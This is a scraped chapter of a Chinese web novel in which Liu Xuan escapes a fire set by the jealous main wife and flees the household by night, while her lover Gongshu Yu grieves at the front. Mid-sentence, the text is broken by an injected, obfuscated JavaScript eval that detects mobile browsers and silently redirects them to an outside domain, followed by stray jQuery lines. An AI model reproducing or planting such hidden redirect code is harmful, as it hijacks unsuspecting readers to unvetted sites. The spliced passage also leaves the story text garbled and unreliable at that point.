默认冷灰
24号文字
方正启体

75. 夜奔

作者:白玉珩本书字数:K更新时间:
    火焰灼身的痛苦,柳轩未能体会。


    她与柳轺到底是不一样的,她还心怀期待。


    齐文鹭身边的嬷嬷披着湿了的褥子闯进火里,将人带出来,她也不是顾着轩娘,只冲上去抱着大夫人,声音里带着哭腔:“小姐!”


    大夫人未有命令,可从小一同长大的阿沈,知道她的心意,也不想她做出再难悔改的事情。


    齐文鹭站在原地,任旁人动作,旁人的臂膀抱着她轻轻晃,她眼神冷冷的,就算放任旁人救了轩娘亦是无甚表情。


    柳轩脱力地跪坐在地,一只手抚着心口,一只手撑地,直到能大口喘息了才觉得后怕。公叔凝冲上前来,捉着柳轩的手,发现轩娘的手也在微微的抖,忍不住抱着她的肩,低声啜泣。


    不知道怎么了,分明不曾这般亲密过,从前还有嫌隙,此刻却是依偎在一处。


    “你没事吧?”公叔凝的声音里带着哭腔。


    轩娘摇头,拍了拍她握在肩头的手,她抬眼望向齐文鸳。


    那个女人兀自瞧着燃烧的火焰,她的魂魄像是漂浮在空中受火焰的炙烤,寻找着出路。


    柳轩应该恨大人夫人么?


    毕竟差点被她烧死,这个女人以为一把火烧尽全部,便可以不痛苦。


    可这样只会让存于世上的人更痛苦...


    这点柳轩深有体会。


    火焰朝着天空跳跃,夜色深,冬日里寒风萧瑟,月独悬。


    “你走吧,最好不要回来,”齐文鹭开口,她的声音带着哑意,“我在一日,必定不会叫公叔钰好过一日。”


    有人救了柳轩,可她的琅儿谁去救呢?


    好好的一个人就这般没了,身为人母一定要为孩子讨一个公道才是,谁都不能薄待了他去。


    “大夫人,我...并未有大碍,”柳轩精致的衣袖被火灼出些焦痕,她脸上有些灰迹,眼睛却清亮亮的,“不过是不甚走火罢了...所幸人都无事,本不是什么大事的。”


    轩娘什么都不知道,却聪慧的很,从只言片语之中凑齐了事情的因由。


    公叔钰领军首战大捷,人人都在庆贺的时候、却有个母亲失了孩子。她怨恨、冲动、自责,总要找一个出口,不然便如将自己困在火中。


    “你方才不是一副坦然受死的样子么?如今我饶你一条命,倒舍不得这荣华了?”齐文鹭的声音很冷。


    轩娘轻轻拉住大夫人的衣袖,温热的眼泪落在她手背的肌肤上。


    “我...不想你有事。”


    这句话公叔钰说来太过虚假,公叔凝说来似是忌于她的威慑,独柳轩可以说的情真意切。


    身后的火兀自燃烧着,柔滑的绸布、雕刻的木梁都将化为灰烬,浓烟冲天而起,怕是整个沧州都瞧见了,若是出了人命,大夫人要如何交代呢?


    齐文鹭缓了一口气,嗤笑出声:“你是在可怜我么?柳轩?”


    她的眼里映着火焰。


    “我一个侯府主母,会有什么事?”


    不过是一个后宅的女人罢了,谁家没有病死几个的,哪里有追究的。


    “你又怎么有心情来安慰我呢?”齐文鹭的目光转向柳轩,微微扬着下巴,“在沧州的日子很好过罢?正主在堰都受难,你偏又有孕了,人人都当你是个正经娘子交往。”


    “只是轩娘,”大夫人眉眼之间透出笑意,她语气之中的嘲讽未加掩饰,“无名无分始终是见不得光的,你只要身份上低旁人一等,就算是烂人也能把你踩在脚下。”


    男人还能靠才学武力赢得尊敬,但到了女子这里却是毫无道理。浅薄愚蠢的女人凭着一张芙蓉面也可以高人一等。


    “我...”轩娘垂下眼,只是经历了这么多,这种话已经不能让她觉得难堪了,她说:“我不是公叔钰的物件,也无需因着他同旁人攀比。”


    她本就是乡野村妇,柳轩眸中平和,见不到半分难过沮丧。


    “太阳升起的时候光总也会照在我的身上,旁人与我何咎?”


    这个样子真是叫人生出一种愤怒来。


    凭什么她不在意?为什么她不争抢?


    在这府宅之中不是想做个好人便能做到的。不去斗,便会落于下风。


    柳轩也应该被旁人的恶意裹挟着变成一个齐文鹭一样的女人,


    ——她要虚伪、清高,心狠手辣。


    可这个女人偏偏没有。


    她没有家族,无需撑谁的面子,也没有要巩固的门楣,如同无负担的一阵清风,随时可以飘然而去。


    齐文鹭一时间明白了公叔钰对这个女人的迷恋在何处。


    她无所图,便难以满足,不满足,便捉不住,叫人时刻忧虑,难以释怀。


    公叔凝见她们两人又开始无声的对峙,只从身后拉住柳轩,低声道:“走罢。”


    轩娘的身体跟着阿凝往前跑,眼神却久久地停在齐文鹭的身上,直到转角再看不见。


    两个女人在黑夜之中奔跑着,月亮的清辉洒在丝绸般飘起的发上。


    “你不要跟大夫人斗,”公叔凝的手忍不住颤抖,“这府中的女子没人胜得过她的,不顺从只会受苦。”


    “我怕她...想不开。”轩娘低声道。


    “你怎么这般傻!”公叔凝忍不住提高音量,“你分明自身难保,她都要将你烧死了!”


    轩娘抿着唇摇头,低声道:“大夫人不会的。”


    齐文鹭看她的眼神很像她姐姐,对上她眼神的那一瞬,柳轩便知道自己不会有事的。因为比起大仇得报的畅快来,她...分明是想哭的。


    公叔凝一时语塞,这个女人其实被公叔钰护的很好。


    她没见过后院女人争抢的狠厉样子,同室而居,共赏一轮月,却会斗得你死我活,可一时间也难与柳轩解释。


    阿凝拉着女人的手,明明感受到她的体温,却又觉得好像与她在两个世界。


    她又恍惚的想,女子是不是应当是轩娘这般的?有一副软心肠,公叔凝已经记不清楚自己何时又是因何变成这般模样了。


    从柳轩的眼睛里看到自己的样子,叫她头一次感觉到厌倦。


    身后的院子乱起来,嘈杂的人声渐起,走水救火的一场戏恰是开演了,只是夜深深,火光照不见奔逃的两人。


    城西有一处破损的墙洞,轩娘帮着施粥补甲的时候经过过,未有料到如今有了用处。


    公叔凝忍不住把身上值钱的钗环首饰塞进轩娘手中,柳轩低声道:“我可以养活自己的。”


    “...我...想你过得好一些。”她低声道。


    只是这似是自欺欺人的话,一个孤身的孕妇如何求得生活?


    公叔凝看着她,忍不住将身上的皮袄也裹在轩娘颈间。


    “走罢。”阿凝这样说着,眼睛却一直看着轩娘。


    可柳轩不觉得这是难事,她手心里攥着缠在一起的耳珰发钗,信步踏入未知的黑夜。


    “柳轩!”公叔凝又忍不住唤出她的名字,女人站在原地,银色的月光落在少女的发丝上,“我们会再见么?”


    这个问题有些傻,但是轩娘算是她的好友了,她身上香香的,煮饭也好吃,阿凝说想吃什么轩娘子也从


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258572|165480||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不怕麻烦,一直以来她好像也没有索取什么。


    “只要你想,”女人轻柔的声音散在寒夜里,“便会的。”


    柳轩虽然说的这般笃定,但也忍不住觉得彷徨,她要去哪里?


    她唯一的行李装在肚子里,她唯一的秘密藏在胸口,她的爱人全然不知地在前方御敌。


    后宅女子崩溃哭泣的样子她见了两出,可是怀有惧意,发誓定然不会像她们一般么?


    夜风拂面,寒风盈满袖口,一瞬间柳轩体会到了无比的自由与茫然。


    是在一水镇之中不曾觉察到的,挣脱束缚的感觉。


    她双手握紧的时候仿佛就握住了自己的命运。


    ——————————————


    沧州的王师很快获得了胜利,瞧着坚不可摧抵御外敌的袁家军节节败退。


    司马兆很有些收拢人心的手段,郯柏智多近妖,所言无一不应,公叔钰勇猛无敌箭无虚发,能一箭破甲。


    这样几个人凑在一处,叫人与他们作对的心思都无。


    旁人打了几次胜仗或许会觉得自己所向披靡,只是他们几个都是熬出来的,反而越接近堰都越小心谨慎。


    特别是公叔钰从前线回了一趟堰都,原来体壮如牛的人,竟是在帐中躺了一日。只是他再出现在议事的时候神色如常,好似不受其扰,倒叫旁人安慰的话也斟酌着说不出口。


    前线本就没有柳轩,公叔钰一时也未有特别的感觉,只觉得轩娘仍在遥远的地方等他回去。


    她答应过的,怎么可以食言呢?她还是不是一个有情有义的小娘子了?


    到这个时候公叔钰想到柳轩的时候唇边仍是有浅淡的笑意。


    他想他真是好喜欢柳轩。


    喜欢到无论出身地位,喜欢到觉察到命运带来的无力,喜欢到觉得这个女人带来的痛苦也是幸运。


    ...到无药可救的境地。


    可到了夜晚的时候,公叔钰常常独自抚摸着佩剑剑柄上的纹样,抽剑而起,寒光会闪过眼睛。


    他从前说过公叔琅是懦夫,可到了自己却常常如着了魔一般盯着剑尖。


    柳轩说过他是一只坏狗,只因为自己喜欢,便将她困在身边,她...有消气么?


    公叔钰盯着剑刃不愿去死,他有一种预感,手中的这把剑,要么剖开他的脏腑,要么替他切断妄念与伤怀。


    柳轩会怎么做?他忍不住去想。


    若是他死了,那个女人一定会好好活着。


    公叔钰在战场厮杀着,他的亲信却受了指令回到一水镇去收集与柳轩有关的讯息。


    现在去了解轩娘,是不是太晚了些?


    公叔钰有些不懂,明明这个人已经不在,他却开始探寻她的生活。明明是半点好处都无的事情,偏偏忍不住去做,就好像如果一直有轩娘的消息,她就没有真正的离开。


    越了解越爱她,如同饮鸩止渴。


    回想起来他什么都没有给柳轩,名分没有,说爱她,可不曾替她描过眉,戴过钗,还常常惹她哭。


    叫她这样一个年轻的女郎有了身孕,却又没有护住她。


    原来公叔钰,也是不仁不义之徒。


    做人真的挺难的,轩娘在身边的时候还好,她不在了,公叔钰偏常想起做狗的日子。


    他到底在干什么?


    怎么这样无用?


    平生不会相思,才会相思,便害相思。像是那一场火一样,等到发现再轻易扑灭不得,在他余下的日子里将他日日灼烧,直到化为灰烬。


    可他到底还有很多事情去做。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)